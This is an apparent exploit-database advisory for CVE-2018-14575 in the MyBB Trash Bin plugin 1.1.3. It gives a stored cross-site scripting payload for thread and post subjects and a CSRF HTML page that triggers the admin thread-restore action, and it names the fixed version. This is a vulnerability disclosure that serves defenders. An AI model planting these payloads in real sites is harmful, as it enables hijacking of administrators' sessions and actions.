MyBB Trash Bin 1.1.3 Cross Site Request Forgery / Cross Site Scripting

2019-02-1600:00:00

0xB9

packetstormsecurity.com

224

EPSS

0.004

Percentile

72.6%

JSON

`# Exploit Title: MyBB Trash Bin Plugin 1.1.3 - Cross-Site Scripting / CSRF  
# Date: 7/17/2018  
# Author: 0xB9  
# Twitter: @0xB9Sec  
# Contact: 0xB9[at]pm.me  
# Software Link: https://community.mybb.com/mods.php?action=view&pid=957  
# Version: 1.1.3  
# Tested on: Ubuntu 18.04  
# CVE: CVE-2018-14575  
  
  
1. Description:  
Creates a trash bin in the ACP where you can recover permanent deleted threads and posts. The thread/post subjects allow XSS and deleted posts can be restored by CSRF.  
  
  
2. Proof of Concept:  
  
Cross-Site Scripting  
  
- Create a new thread with the following subject <script>alert('XSS')</script>  
- Permanently delete that thread  
- Alert is located in threads trash bin localhost/[path]/admin/index.php?module=tools-trashbin and localhost/admin/index.php?module=tools-trashbin&action=posts  
  
- Reply to a post and change the subject to the following <script>alert('XSS')</script>  
- Permanently delete that post  
- Alert is located in posts trash bin localhost/[path]/admin/index.php?module=tools-trashbin&action=posts  
  
  
Cross-Site Request Forgery  
  
<html>  
<body>  
<!-- Restore deleted threads & posts by thread/post ID -->  
<div class="popup_item_container"><a href="http://localhost/[path]/admin/index.php?module=tools-trashbin&action=threadrestore&tid=1" class="popup_item">Restore</a></div>  
<script type="text/javascript">  
$("#thread_1").popupMenu();  
</script>  
</body>  
</html>  
  
3. Solution:  
Update to 1.1.4  
`

EPSS

0.004

Percentile

72.6%

JSON

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